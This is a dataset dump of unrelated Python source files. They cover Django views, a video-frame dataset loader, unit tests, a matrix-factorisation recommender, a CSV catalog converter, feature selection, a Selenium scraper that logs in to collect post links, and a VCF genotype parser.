auth.permission import permission_required\r\nfrom auth.service.authresult import AuthResultService\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\n@permission_required('auth.result_view')\r\ndef result_search(request):\r\n return render(request, 'auth/result.html')\r\n\r\n\r\n@require_POST\r\n@permission_required('auth.result_view')\r\ndef result_list_data(request):\r\n try:\r\n search_form = GridSearchForm(request.POST)\r\n start, limit, sort_property, sort_direction = search_form.get_search_data()\r\n result_query = AuthResult.objects.all()\r\n # extra filters here\r\n result_query = result_query.values('app__app_name', 'res_label', 'resource__res_name', 'user__login_name', 'user__nick_name', 'group__group_code', 'group__group_name')\r\n if sort_property is not None:\r\n result_query = result_query.order_by(sort_direction + sort_property)\r\n total_count = result_query.count()\r\n result_list = list(result_query[start: start + limit])\r\n return JsonResponse({'total': total_count, 'rows': result_list})\r\n except Exception as exp:\r\n logger.exception(exp)\r\n return JsonResponse({'success': False, 'message': '加载数据失败！详细：%s' % exp})\r\n\r\n\r\n@require_POST\r\n@permission_required('auth.result_regenerate')\r\ndef result_regenerate(request):\r\n try:\r\n auth_result_service = AuthResultService()\r\n auth_result_service.refresh_all_result()\r\n return JsonResponse({'success': True, 'message': '重新生成成功！'})\r\n except Exception as exp:\r\n logger.exception(exp)\r\n return JsonResponse({'success': False, 'message': '重新生成失败！详细：%s' % exp})\r\n","sub_path":"auth/views/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"210989483","text":"import glob\nimport random\nimport torch\nimport os.path as op\nimport numpy as np\nfrom cv2 import cv2\nfrom torch.utils import data as data\nfrom utils import FileClient, paired_random_crop, augment, totensor, import_yuv\n\n\ndef _bytes2img(img_bytes):\n img_np = np.frombuffer(img_bytes, np.uint8)\n img = np.expand_dims(cv2.imdecode(img_np, cv2.IMREAD_GRAYSCALE), 2) # (H W 1)\n img = img.astype(np.float32) / 255.\n return img\n\n\nclass Vimeo90KDataset(data.Dataset):\n \"\"\"Vimeo-90K dataset.\n\n For training data: LMDB is adopted. See create_lmdb for details.\n \n Return: A dict includes:\n img_lqs: (T, [RGB], H, W)\n img_gt: ([RGB], H, W)\n key: str\n \"\"\"\n def __init__(self, opts_dict, radius):\n super().__init__()\n\n self.opts_dict = opts_dict\n \n # dataset paths\n self.gt_root = op.join(\n 'data/vimeo90k/', \n self.opts_dict['gt_path']\n )\n self.lq_root = op.join(\n 'data/vimeo90k/', \n self.opts_dict['lq_path']\n )\n\n # extract keys from meta_info.txt\n self.meta_info_path = op.join(\n self.gt_root, \n 'meta_info.txt'\n )\n with open(self.meta_info_path, 'r') as fin:\n self.keys = [line.split(' ')[0] for line in fin]\n\n # define file client\n self.file_client = None\n self.io_opts_dict = dict() # FileClient needs\n self.io_opts_dict['type'] = 'lmdb'\n self.io_opts_dict['db_paths'] = [\n self.lq_root, \n self.gt_root\n ]\n self.io_opts_dict['client_keys'] = ['lq', 'gt']\n\n # generate neighboring frame indexes\n # indices of input images\n # radius | nfs | input index\n # 0 | 1 | 4, 4, 4 # special case, for image enhancement\n # 1 | 3 | 3, 4, 5\n # 2 | 5 | 2, 3, 4, 5, 6 \n # 3 | 7 | 1, 2, 3, 4, 5, 6, 7\n # no more! septuplet sequences!\n if radius == 0:\n self.neighbor_list = [4, 4, 4] # always the im4.png\n else:\n nfs = 2 * radius + 1\n self.neighbor_list = [i + (9 - nfs) // 2 for i in range(nfs)]\n\n def __getitem__(self, index):\n if self.file_client is None:\n self.file_client = FileClient(\n self.io_opts_dict.pop('type'), **self.io_opts_dict\n )\n # random reverse\n if self.opts_dict['random_reverse'] and random.random() < 0.5:\n self.neighbor_list.reverse()\n\n # ==========\n # get frames\n # ==========\n\n # get the GT frame (im4.png)\n gt_size = self.opts_dict['gt_size']\n key = self.keys[index]\n clip, seq, _ = key.split('/') # key example: 00001/0001/im1.png\n\n img_gt_path = key\n img_bytes = self.file_client.get(img_gt_path, 'gt')\n img_gt = _bytes2img(img_bytes) # (H W 1)\n\n # get the neighboring LQ frames\n img_lqs = []\n for neighbor in self.neighbor_list:\n img_lq_path = f'{clip}/{seq}/im{neighbor}.png'\n img_bytes = self.file_client.get(img_lq_path, 'lq')\n img_lq = _bytes2img(img_bytes) # (H W 1)\n img_lqs.append(img_lq)\n\n # ==========\n # data augmentation\n # ==========\n \n # randomly crop\n img_gt, img_lqs = paired_random_crop(\n img_gt, img_lqs, gt_size, img_gt_path\n )\n\n # flip, rotate\n img_lqs.append(img_gt) # gt joint augmentation with lq\n img_results = augment(\n img_lqs, self.opts_dict['use_flip'], self.opts_dict['use_rot']\n )\n\n # to tensor\n img_results = totensor(img_results)\n img_lqs = torch.stack(img_results[0:-1], dim=0)\n img_gt = img_results[-1]\n\n return {\n 'lq': img_lqs, # (T [RGB] H W)\n 'gt': img_gt, # ([RGB] H W)\n }\n\n def __len__(self):\n return len(self.keys)\n\n\nclass VideoTestVimeo90KDataset(data.Dataset):\n \"\"\"\n Video test dataset for Vimeo-90K.\n\n For validation data: Disk IO is adopted.\n \n Only test the center frame.\n \"\"\"\n def __init__(self, opts_dict, radius):\n super().__init__()\n\n assert radius != 0, \"Not implemented!\"\n \n self.opts_dict = opts_dict\n\n # dataset paths\n self.gt_root = op.join(\n 'data/vimeo90k/', \n self.opts_dict['gt_path']\n )\n self.lq_root = op.join(\n 'data/vimeo90k/', \n self.opts_dict['lq_path']\n )\n self.meta_info_path = op.join(\n 'data/vimeo90k/', \n self.opts_dict['meta_path']\n )\n \n # record data info for loading\n self.data_info = {\n 'lq_path': [],\n 'gt_path': [],\n 'gt_index': [], \n 'lq_indexes': [], \n 'h': [], \n 'w': [], \n 'index_vid': [], \n 'name_vid': [], \n }\n\n gt_path_list = []\n meta_fp = open(self.meta_info_path, 'r')\n while True:\n new_line = meta_fp.readline().split('\\n')[0]\n if new_line == '':\n break\n vid_name = new_line.split('/')[0] + '_' + new_line.split('/')[1]\n gt_path = op.join(\n self.gt_root, vid_name + '.yuv'\n )\n gt_path_list.append(gt_path)\n \n self.vid_num = len(gt_path_list)\n for idx_vid, gt_vid_path in enumerate(gt_path_list):\n name_vid = gt_vid_path.split('/')[-1]\n w, h = 448, 256\n lq_vid_path = op.join(\n self.lq_root,\n name_vid\n )\n lq_indexes = list(range(0, 7))\n self.data_info['index_vid'].append(idx_vid)\n self.data_info['gt_path'].append(gt_vid_path)\n self.data_info['lq_path'].append(lq_vid_path)\n self.data_info['name_vid'].append(name_vid)\n self.data_info['w'].append(w)\n self.data_info['h'].append(h)\n self.data_info['gt_index'].append(3)\n self.data_info['lq_indexes'].append(lq_indexes)\n\n def __getitem__(self, index):\n # get gt frame\n img = import_yuv(\n seq_path=self.data_info['gt_path'][index], \n yuv_type='444p', \n h=self.data_info['h'][index],\n w=self.data_info['w'][index],\n tot_frm=1,\n start_frm=self.data_info['gt_index'][index],\n only_y=True\n )\n img_gt = np.expand_dims(\n np.squeeze(img), 2\n ).astype(np.float32) / 255. # (H W 1)\n\n # get lq frames\n img_lqs = []\n for lq_index in self.data_info['lq_indexes'][index]:\n img = import_yuv(\n seq_path=self.data_info['lq_path'][index], \n yuv_type='444p', \n h=self.data_info['h'][index],\n w=self.data_info['w'][index],\n tot_frm=1,\n start_frm=lq_index,\n only_y=True\n )\n img_lq = np.expand_dims(\n np.squeeze(img), 2\n ).astype(np.float32) / 255. # (H W 1)\n img_lqs.append(img_lq)\n\n # no any augmentation\n\n # to tensor\n img_lqs.append(img_gt)\n img_results = totensor(img_lqs)\n img_lqs = torch.stack(img_results[0:-1], dim=0)\n img_gt = img_results[-1]\n\n return {\n 'lq': img_lqs, # (T 1 H W)\n 'gt': img_gt, # (1 H W)\n 'name_vid': self.data_info['name_vid'][index], \n 'index_vid': self.data_info['index_vid'][index], \n }\n\n def __len__(self):\n return len(self.data_info['gt_path'])\n\n def get_vid_num(self):\n return self.vid_num\n","sub_path":"dataset/vimeo90k.py","file_name":"vimeo90k.py","file_ext":"py","file_size_in_byte":7852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"130007580","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\n\nfrom patchwork.feature._multitask import _encode_classes, _dataframe_to_classes\nfrom patchwork.feature._multitask import _assemble_full_network\n\n\ndef test_encode_classes():\n train = pd.Series([\"foo\", \"bar\", \"bar\", np.nan])\n val = pd.Series([\"bar\", \"bar\"])\n \n train_ind, val_ind, classes = _encode_classes(train, val)\n \n assert len(classes) == 2\n for c in [\"foo\", \"bar\"]:\n assert c in classes\n assert train_ind.shape[0] == len(train)\n assert val_ind.shape[0] == len(val)\n assert -1 in train_ind\n assert -1 not in val_ind\n \n \ndef test_dataframe_to_classes():\n train = pd.DataFrame({\n \"filepath\":[\"foo.png\", \"bar.png\", \"foobar.png\"],\n \"class0\":[\"a\", \"b\", \"c\"],\n \"class1\":[\"x\", \"y\", np.nan]\n })\n val = pd.DataFrame({\n \"filepath\":[\"foo1.png\", \"bar2.png\"],\n \"class0\":[\"a\", \"b\"],\n \"class1\":[\"x\", \"y\"]\n })\n outdict, class_dict = _dataframe_to_classes(train, val,\n [\"class0\", \"class1\"])\n \n assert len(outdict[\"train_files\"]) == len(train)\n assert len(outdict[\"val_files\"]) == len(val)\n \n assert outdict[\"train_indices\"].shape == (len(train),2)\n assert outdict[\"val_indices\"].shape == (len(val),2)\n assert -1 in outdict[\"train_indices\"]\n assert -1 not in outdict[\"val_indices\"]\n \n \ndef test_assemble_full_network():\n inpt = tf.keras.layers.Input((None, None, 3))\n net = tf.keras.layers.Conv2D(5, 3)(inpt)\n fcn = tf.keras.Model(inpt, net)\n \n task_dimensions = [2,3,4]\n model_dict, trainvars = _assemble_full_network(fcn,\n task_dimensions,\n shared_layers=[3,5],\n task_layers=[7,\"p\",11],\n train_fcn=False,\n global_pooling=\"max\")\n \n assert model_dict[\"fcn\"] is fcn\n assert len(model_dict[\"full\"].outputs) == 3\n for o,d in zip(model_dict[\"full\"].outputs, task_dimensions):\n assert o.shape[-1] == d\n assert isinstance(trainvars, list)","sub_path":"patchwork/tests/test_feature_multitask.py","file_name":"test_feature_multitask.py","file_ext":"py","file_size_in_byte":2184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"96899628","text":"from __future__ import division\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndata = np.genfromtxt('ratings.csv', delimiter=\",\")\n\n# not using timestamp\nX = np.delete(data[1:], 3, axis=1)\nprint(X.shape)\nprint(X)\nprint(np.amax(X[:, 1]))\nprint('max min rating: ', np.amax(X[:, 2]), np.amin(X[:, 2]))\n\n\nsort_objects = np.unique(X[:, 1])\nsort_users = np.unique(X[:, 0])\n\nfor i in range(X.shape[0]):\n X[i, 0] = np.where(sort_users == int(X[i, 0]))[0][0]\n X[i, 1] = np.where(sort_objects == int(X[i, 1]))[0][0]\n\nprint(X.shape)\nprint(X)\n# user and object max ids\nuser_max = int(np.amax(X[:, 0])) # user max index\nobject_max = int(np.amax(X[:, 1])) # object max index\nprint('Max user id: ', user_max)\nprint('Max movie id: ', object_max)\n\n\n#shuffling data\nnp.random.shuffle(X)\nprint(X)\nprint(X.shape)\n\n#setting train, val, test sets\nX_train = X[:60000]\nX_val = X[60000:80000]\nX_test = X[80000:]\nprint(X_train.shape, X_val.shape, X_test.shape)\n\ndef check_error(X, u, v):\n\n err = 0\n N = X.shape[0]\n for k in range(N):\n user_id = int(X[k, 0])\n object_id = int(X[k, 1])\n rating = int(X[k, 2])\n predict_rating = np.dot(u[user_id, :], v[object_id, :])\n err += np.absolute(predict_rating - rating)\n\n av_err = err / float(N)\n print('Average error: ', av_err)\n\n return av_err\n\ndef PMF(train_data, val_data, user_max_id, object_max_id, iterations=2, lam=2, sigma2=0.1, d=10):\n\n length = train_data.shape[0]\n mean = np.zeros(d)\n cov = (1/float(lam))*np.identity(d)\n L = np.zeros(iterations) #objective function\n Nu = user_max_id + 1 #int(np.amax(train_data[:, 0])) #user max index\n Nv = object_max_id + 1#int(np.amax(train_data[:, 1])) #object max index\n Mes = np.zeros((Nu, Nv)) #measured\n M = np.zeros((Nu, Nv)) #matrix of ratings\n train_err_list = []\n val_err_list = []\n\n for k in range(length):\n i = int(train_data[k, 0]) #- 1 maybe not needed if we index starting from 0\n j = int(train_data[k, 1]) #- 1\n Mes[i, j] = 1 #user ui rated movie vj\n M[i, j] = train_data[k, 2] #setting rating\n\n ##initialize locations and users\n u = np.zeros((iterations, Nu, d))\n v = np.zeros((iterations, Nv, d))\n v[0, :, :] = np.random.multivariate_normal(mean, cov, Nv) #initialize v as multivariate normal\n\n for k in range(iterations):\n print('Iteration: ', k+1, ' / ', iterations)\n\n ##update user location\n if k == 0:\n l = 0\n else:\n l = k-1\n\n for i in range(Nu):\n A = lam * sigma2 * np.identity(d)\n vec = np.zeros(d)\n for j in range(Nv):\n if Mes[i, j] == 1:\n A += np.outer(v[l, j, :], v[l, j, :])\n vec += M[i, j]*v[l, j, :]\n u[k, i, :] = np.dot(np.linalg.inv(A), vec)\n\n ##update object location\n for j in range(Nv):\n A = lam * sigma2 * np.identity(d)\n vec = np.zeros(d)\n for i in range(Nu):\n if Mes[i, j] == 1:\n A += np.outer(u[k, i, :], u[k, i, :])\n vec += M[i, j]*u[k, i, :]\n v[k, j, :] = np.dot(np.linalg.inv(A), vec)\n\n ##update objective function\n for i in range(Nu):\n for j in range(Nv):\n if Mes[i, j] == 1:\n L[k] -= np.square(M[i, j] - np.dot(u[k, i, :].T, v[k, j, :]))\n L[k] = (1/(2*sigma2))*L[k]\n L[k] -= (lam/float(2))*(np.square(np.linalg.norm(u[k, :, :])) + np.square(np.linalg.norm(v[k, :, :])))\n print('Loss: ', L[k])\n\n print('Training set:')\n train_err_list.append(check_error(train_data, u[k, :, :], v[k, :, :]))\n print('Validation set:')\n val_err_list.append(check_error(val_data, u[k, :, :], v[k, :, :]))\n\n return L, u, v, train_err_list, val_err_list\n\niterations = 1\ncount = 1\nbest_lam = -1\nbest_sigma2 = -1\nbest_av_err_val = 100\nbest_train_err_list = None\nbest_val_err_list = None\n\nfor i in range(count):\n print('Parameter iteration: ', i+1, ' / ', count)\n lam = 10**np.random.uniform(-1.5, 1.5)\n sigma2 = 10**np.random.uniform(-1.5, 0.5)\n print('lam:',lam, ' sigma2:', sigma2)\n L, u_matrices, v_matrices, train_err_list, val_err_list = PMF(X_train, X_val, user_max, object_max,\n iterations=iterations, lam=lam, sigma2=sigma2, d=10)\n u = u_matrices[iterations-1, :, :]\n v = v_matrices[iterations-1, :, :]\n correct_train = 0\n\n # append training set error\n\n av_err_train = train_err_list[iterations-1]\n\n # append validation set error\n\n av_err_val = val_err_list[iterations-1]\n\n if av_err_val < best_av_err_val:\n best_av_err_val = av_err_val\n best_lam = lam\n best_sigma2 = sigma2\n best_train_err_list = train_err_list\n best_val_err_list = val_err_list\n\n# best_lam = 4.34\n# best_sigma2 = 0.8\niterations = 3\nprint('best_lam:', best_lam, ' best_sigma2:', best_sigma2)\nprint('Best validation set error: ', best_av_err_val)\nL, u_matrices, v_matrices, train_err_list, val_err_list = PMF(X_train, X_val, user_max, object_max,\n iterations=iterations, lam=lam, sigma2=sigma2, d=10)\n\nL = -L\nplt.subplot(2, 1, 1)\nplt.title('Training loss')\nplt.xlabel('Iteration')\nplt.plot(L, '-o')\n\nplt.subplot(2, 1, 2)\nplt.title('Training and validation error')\nplt.xlabel('Iteration')\nplt.plot(train_err_list, '-o', label='training error')\nplt.plot(val_err_list, '-o', label='validation error')\n\nplt.gcf().set_size_inches(12, 12)\nplt.show()\n\nu = u_matrices[iterations-1, :, :]\nv = v_matrices[iterations-1, :, :]\nprint('Test set: ')\ncheck_error(X_test, u, v)\n\n\n","sub_path":"projects/pmf/hw4_PMF.py","file_name":"hw4_PMF.py","file_ext":"py","file_size_in_byte":5740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"550058735","text":"#!/usr/bin/env python\n# -*- coding: cp1251 -*-\n##\n# Arguments: 1 - input, 2 - output\n##\nimport csv\nimport sys\n\ncategory_map = {\n \"Шубы и меха\":(\"wfurs\",129,284),\n \"Дубленки\":(\"wskincoat\",136,284),\n \"Пуховики\":(\"wpaddedcoat\",142,284),\n \"Аксессуары\":(\"waccessories\",285,284),\n \"Куртки\":(\"wtopjacket\",296,284),\n \"Пальто\":(\"wtopcoat\",297,284),\n \"Блузки и рубашки\":(\"wblouse\",300,284),\n \"Брюки и джинсы\":(\"wpants\",301,284),\n \"Жакеты и жилеты\":(\"wjacket\",302,284),\n \"Платья\":(\"wdress\",303,284),\n \"Юбки\":(\"wskirt\",305,284),\n \"Кожаные куртки\":(\"wleathertopjacket\",316,284),\n \"Кожаные пальто и плащи\":(\"wleathertopcoat\",317,284),\n \"Туники\":(\"wtunic\",475,284),\n \"Кардиганы и джемперы\":(\"wcardigan\",476,284),\n \"Футболки и топы\":(\"wtshort\",477,284),\n \"Кожаные куртки зимние\":(\"wwleathertopjacket\",493,284),\n \"Одежда\":(\"wclothes\",299,284),\n \"Трикотаж\":(\"wtrico\",304,284),\n \"Плащи\":(\"wtopcloak\",326,284),\n \"Ветровки\":(\"wwindbreaker\",328,284),\n \"Шорты и комбинезоны\":(\"wshorts\",478,284),\n \"Пляжная одежда и купальники\":(\"zhenskie_kupalniki\",490,284),\n \"Дубленки\":(\"mskincoat\",156,306),\n \"Пуховики\":(\"mpaddedcoat\",160,306),\n \"Аксессуары\":(\"maccessories\",307,306),\n \"Куртки\":(\"mtopjacket\",310,306),\n \"Пальто\":(\"mtopcoat\",311,306),\n \"Брюки и джинсы\":(\"mpants\",313,306),\n \"Рубашки\":(\"mshirt\",314,306),\n \"Кардиганы и джемперы\":(\"mtrico\",315,306),\n \"Кожаные куртки\":(\"mleathertopjacket\",318,306),\n \"Плащи\":(\"mtopcloak\",327,306),\n \"Футболки\":(\"mtshort\",417,306),\n \"Пиджаки \":(\"mblazer\",480,306),\n \"Куртки зимние кожаные\":(\"mwleathertopjacket\",483,306),\n \"Одежда\":(\"mclothes\",312,306),\n \"Ветровки\":(\"mwindbreaker\",329,306),\n \"Шорты\":(\"mshorts\",418,306),\n \"Пляжная одежда и купальники\":(\"muzhskie_plavki_shorti\",491,306),\n \"Выгодное предложение\":(\"wfurs_bestsell\",494,495),\n \"Женская коллекция\":(\"woman_sale\",496,495),\n \"Мужская коллекция\":(\"man_sale\",497,495)}\n#\n# \"Женская коллекция\":(284,284,\"collection\"),\n# \"Мужская коллекция\":(306,306,\"collection\"),\n# \"Предметы интерьера\":(\"home_accessories\",492,\"collection\"),\n# \"Распродажа\":(495,495,\"collection\"),\n# \"Новинки\":(\"new\",511,\"collection\")}\nbrands = dict()\nwith open(\"brands.csv\") as brands_csv:\n reader = csv.reader(brands_csv, delimiter=\";\")\n next(reader, None) # skip header\n brands = dict((rows[0],rows[1]) for rows in reader)\n\nwith open(sys.argv[1]) as csvfile:\n reader = csv.DictReader(csvfile, delimiter=\";\")\n with open(sys.argv[2], \"w\") as csv_out:\n writer = csv.DictWriter(csv_out, quoting=csv.QUOTE_NONNUMERIC, fieldnames=[\"IE_XML_ID\", \"IE_NAME\", \"IP_PROP9\", \"IE_ACTIVE\", \"IP_PROP3\", \"IMAGE_URL\", \"URL\", \"ALLCATS\", \"LEAFCAT\", \"BRAND\"], extrasaction=\"ignore\", delimiter=\";\")\n writer.writeheader()\n for row in reader:\n if row[\"IC_GROUP1\"] != \"\" and row[\"IC_GROUP2\"] != \"\":\n d = row\n d[\"IE_NAME\"] = \"{0}, {1:.0f}р.\".format(d[\"IE_NAME\"], float(d[\"IP_PROP3\"]))\n d[\"IMAGE_URL\"] = \"http://snowqueen.ru{0}\".format(d[\"IE_PREVIEW_PICTURE\"])\n category = category_map[row[\"IC_GROUP2\"]]\n d[\"URL\"] = \"http://snowqueen.ru/collection/{0}/{1}/\".format(category[0], row[\"IE_ID\"])\n d[\"ALLCATS\"] = \"|\".join(map(str, [category[2], category[1]]))\n d[\"LEAFCAT\"] = str(category[1])\n d[\"BRAND\"] = brands[row[\"IP_PROP2\"]].strip() if row[\"IP_PROP2\"] in brands else \"\"\n writer.writerow(d)\n","sub_path":"feeder/script/postprocess_catalog.py","file_name":"postprocess_catalog.py","file_ext":"py","file_size_in_byte":4067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"298068670","text":"#%%\r\n\r\n#Feature selection algorithm class \r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.preprocessing import StandardScaler, Normalizer\r\nfrom sklearn.feature_selection import mutual_info_classif, mutual_info_regression, f_regression\r\n \r\n#%%\r\n\r\nclass FeatureSelector():\r\n def __init__(self, df, target_col):\r\n self.df = df.dropna()\r\n self.df = self.df.select_dtypes(['number'])\r\n print(np.where(self.df.var()==0))\r\n self.df = self.df.drop(columns = self.df.columns[np.where(self.df.var()==0)]) #Entire dataset\r\n self.target_col = target_col\r\n\r\n self.y = self.df[self.target_col] #Target column for prediction\r\n self.X_raw = self.df.loc[:, self.df.columns != self.target_col] #Unscaled X values\r\n self.X = Normalizer().fit_transform(self.X_raw) #Normalize the X values\r\n self.Xdf = pd.DataFrame(self.X)\r\n self.Xdf.columns = self.X_raw.columns\r\n \r\n\r\n #Mutual Information (classification)\r\n def mutual_info_class(self):\r\n mi = mutual_info_classif(self.X, self.y)\r\n #mi = StandardScaler().fit_transform(mi.reshape(-1,1))\r\n mi_df = pd.DataFrame(mi)\r\n mi_df['Feature'] = self.X_raw.columns\r\n mi_df.columns = ['Score','Feature']\r\n mi_df = mi_df.sort_values(by = 'Score', ascending = False).loc[:,('Feature','Score')].reset_index(drop=True)\r\n return mi_df\r\n\r\n #Mutual Information (regression)\r\n def mutual_info_regress(self):\r\n mi = mutual_info_regression(self.X, self.y)\r\n #mi = StandardScaler().fit_transform(mi.reshape(-1,1))\r\n mi_df = pd.DataFrame(mi)\r\n mi_df['Feature'] = self.X_raw.columns\r\n mi_df.columns = ['Score','Feature']\r\n mi_df = mi_df.sort_values(by = 'Score', ascending = False).loc[:,('Feature','Score')].reset_index(drop=True)\r\n return mi_df\r\n\r\n def mrmr(self):\r\n # compute F-statistics and correlations\r\n F = pd.Series(f_regression(self.Xdf, self.y)[0], index = self.Xdf.columns)\r\n corr = self.Xdf.corr().abs().clip(.00001) # minimum value of correlation set to .00001 (to avoid division by zero)\r\n\r\n # initialize list of selected features and list of excluded features\r\n selected = []\r\n not_selected = list(self.Xdf.columns)\r\n\r\n # repeat K times: \r\n # compute FCQ score for all the features that are currently excluded,\r\n # then find the best one, add it to selected, and remove it from not_selected\r\n for i in range(len(self.Xdf.columns)):\r\n\r\n # compute FCQ score for all the (currently) excluded features (this is Formula 2)\r\n score = F.loc[not_selected] / corr.loc[not_selected, selected].mean(axis = 1).fillna(.00001)\r\n\r\n # find best feature, add it to selected and remove it from not_selected\r\n best = score.index[score.argmax()]\r\n selected.append(best)\r\n not_selected.remove(best)\r\n return selected\r\n\r\n","sub_path":"feature_select.py","file_name":"feature_select.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"642353409","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nimport time\r\nimport os\r\n\r\n\r\ndef login():\r\n browser.get(\"https://houhuayuan.vip\")\r\n try:\r\n browser.find_element(By.ID, \"user_login\").send_keys(\"w1g2f3\")\r\n except Exception:\r\n print('输入用户名失败')\r\n else:\r\n print('输入用户名成功')\r\n try:\r\n browser.find_element(By.ID, \"user_pass\").send_keys(\"123456\")\r\n except Exception:\r\n print('输入密码失败')\r\n else:\r\n print('输入密码成功')\r\n browser.find_element(By.NAME, \"wp-submit\").click()\r\n\r\n\r\ndef main():\r\n login()\r\n url_base = \"https://houhuayuan.vip/wp-admin/edit.php?post_status=publish&post_type=post&paged=\"\r\n n = 2\r\n with open(\"D:\\\\PYcode\\\\wwww\\\\zhaoze_url.txt\",mode = 'a+',encoding='utf-8') as f:\r\n while(n < 114):\r\n url = url_base + str(n)\r\n browser.get(url)\r\n for i in range(1, 21):\r\n name_xpath = \"/html/body/div/div[2]/div[2]/div[1]/div[3]/form[1]/table/tbody/tr[\"+str(i)+\"]/td[1]/strong/span\"\r\n href_xpath = \"/html/body/div/div[2]/div[2]/div[1]/div[3]/form[1]/table/tbody/tr[\"+str(i)+\"]/td[1]/div/span/a\"\r\n name = browser.find_element(By.XPATH, name_xpath)\r\n href = browser.find_element(By.XPATH, href_xpath)\r\n f.write(name.get_attribute('innerText') + \":\")\r\n f.write(\"\\n\")\r\n f.write(href.get_attribute('href'))\r\n f.write(\"\\n\")\r\n n = n +1\r\n f.close()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n options = webdriver.ChromeOptions()\r\n options.add_argument('-ignore-certificate-errors')\r\n # options.add_argument('-ignore -ssl-errors')\r\n # options.add_argument('-disable-software-rasterizer')\r\n browser = webdriver.Chrome(options=options)\r\n main()\r\n browser.quit()\r\n","sub_path":"list_get.py","file_name":"list_get.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"599643223","text":"n = int(input(\"Enter the no. of terms to be printed\"))\nif n == 1:\n print(\"0\")\nelif n== 2:\n print(\"0, 1\")\nelse:\n print(\"0, 1\", end = \", \")\n a, b = 0, 1\n for i in range(n-2):\n c = a+b\n print(c,end=\", \")\n a=b\n b = c\n","sub_path":"fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"175912591","text":"#!/usr/bin/env python\n\n#Various functions to parse and filter genotype data from vcf files.\n#If run independently it will pipe \"genotypes\" format to stdout. \n\nimport argparse, sys, gzip, re, subprocess\n\nimport numpy as np\n\ndef GTtype(alleles):\n alleleSet = set(alleles)\n if len(alleleSet) > 1: return \"Het\"\n elif \"0\" in alleleSet: return \"HomRef\"\n elif \".\" in alleleSet: return \"Missing\"\n else: return \"HomAlt\"\n\n\nclass VcfSite:\n \n __slots__ = ['CHROM', 'POS', 'ID', 'REF', 'ALT', 'REF_ALT', 'QUAL', 'FILTER', 'INFO', 'sampleNames', 'genoData', \"alleleDict\"]\n \n def __init__(self, elements=None, line=None, headers=None, headerLine=None, precompGenoData=None):\n assert((elements != None or line != None) and (headers != None or headerLine != None))\n if not headers: headers = headerLine.split()\n if not elements: elements = line.split()\n \n lineDict = dict(zip(headers,elements))\n \n self.CHROM = lineDict[\"#CHROM\"]\n self.POS = int(lineDict[\"POS\"])\n self.ID = lineDict[\"ID\"]\n self.REF = lineDict[\"REF\"]\n self.ALT = lineDict[\"ALT\"].split(\",\")\n self.alleleDict = dict(zip([str(i) for i in range(len(self.ALT)+1)], [self.REF] + self.ALT))\n self.QUAL = lineDict[\"QUAL\"]\n self.FILTER = lineDict[\"FILTER\"]\n self.INFO = lineDict[\"INFO\"].split(\";\")\n \n genoInfoNames = lineDict[\"FORMAT\"].split(\":\")\n \n self.sampleNames = headers[9:]\n \n self.genoData = {}\n for sampleName in self.sampleNames:\n #if pre-compiled genotype data are available, try using those \n if precompGenoData and lineDict[sampleName] in precompGenoData:\n self.genoData[sampleName] = precompGenoData[lineDict[sampleName]]\n else:\n #otherwise make dictionary for this sample\n self.genoData[sampleName] = dict(zip(genoInfoNames, lineDict[sampleName].split(\":\")))\n if \"GT\" in self.genoData[sampleName]:\n self.genoData[sampleName][\"alleles\"] = tuple(self.genoData[sampleName][\"GT\"])[::2]\n self.genoData[sampleName][\"phase\"] = \"|\" if \"|\" in self.genoData[sampleName][\"GT\"] else \"/\"\n if precompGenoData[\"__counter__\"] < precompGenoData[\"__maxSize__\"]:\n precompGenoData[lineDict[sampleName]] = self.genoData[sampleName]\n precompGenoData[\"__counter__\"] += 1\n \n \n def getGenotype(self, sample, gtFilters = [], withPhase=True, asNumbers = False, missing = None, allowOnly=None, keepPartial=False, ploidy=None):\n genoData = self.genoData[sample]\n if missing is None:\n if asNumbers: missing = \".\"\n else: missing = \"N\"\n \n #check each gt filter\n passed = True\n for gtFilter in gtFilters:\n #first check that it's applicable\n if (\"siteTypes\" in gtFilter and self.getType() not in gtFilter[\"siteTypes\"]): continue\n if (\"gtTypes\" in gtFilter and GTtype(genoData[\"alleles\"]) not in gtFilter[\"gtTypes\"]): continue\n if (\"samples\" in gtFilter and sample not in gtFilter[\"samples\"]): continue\n #now check that it passes\n #might be a single value, nut could be several separated by commas. So will split in case\n try:\n values = np.array(genoData[gtFilter[\"flag\"]].split(\",\"), dtype=float)\n passed = np.all(gtFilter[\"min\"] <= values) and np.all(values <= gtFilter[\"max\"])\n except: passed = False\n #try: passed = gtFilter[\"min\"] <= float(genoData[gtFilter[\"flag\"]]) <= gtFilter[\"max\"]\n #except: passed = False\n if not passed: break\n \n if ploidy is None: ploidy=len(genoData[\"alleles\"])\n \n if passed:\n if not asNumbers:\n try:\n sampleAlleles = [self.alleleDict[a] for a in genoData[\"alleles\"]]\n if allowOnly: sampleAlleles = [a if a in allowOnly else missing for a in sampleAlleles]\n if not keepPartial: sampleAlleles = sampleAlleles if missing not in sampleAlleles else [missing]*ploidy\n \n except: sampleAlleles = [missing]*ploidy\n \n else:\n sampleAlleles = genoData[\"alleles\"][:]\n \n \n else: sampleAlleles = [missing]*ploidy\n \n if withPhase: return genoData[\"phase\"].join(sampleAlleles)\n 